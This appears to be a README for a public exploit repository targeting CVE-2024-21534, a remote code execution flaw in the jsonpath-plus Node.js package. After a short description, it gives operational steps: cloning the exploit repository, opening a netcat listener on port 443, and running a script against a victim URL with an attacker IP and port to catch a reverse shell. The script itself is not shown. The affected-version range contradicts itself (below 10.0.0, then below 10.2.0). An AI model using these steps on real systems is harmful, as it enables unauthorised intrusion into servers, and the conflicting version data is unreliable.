## Overview

CVE-2024-21534 is a critical vulnerability found in versions of the jsonpath-plus package prior to version 10.0.0. The vulnerability stems from improper input sanitization, which can lead to Remote Code Execution (RCE) on affected systems. This vulnerability is particularly dangerous as it can be exploited without authentication, allowing attackers to execute arbitrary code on the server by sending specially crafted input. This issue arises from the unsafe default usage of the Node.js vm module, which, if exploited, could compromise the entire system.

### Affected Versions

jsonpath-plus versions prior to 10.2.0

### Affected Components

The vulnerability is located in the jsonpath-plus package, which is widely used for querying JSON data structures in applications. The flaw is due to improper input sanitization, allowing malicious code execution.

### Cloning the Repository

First, clone the repository:

```bash
git clone https://github.com/verylazytech/CVE-2024-21534
```

Now open a listener using nc:

```bash
nc -lnvp 443
```

## Run the Exploit:

### For Linux / MacOs:

Ensure that the URL points to an endpoint that processes user input via the vulnerable jsonpath-plus package, as this will allow for exploitation of the RCE vulnerability.

```bash
bash ./cve-2024-21534.sh <VICTIM_URL> <ATTACKER_IP> <ATTACKER_PORT>
```
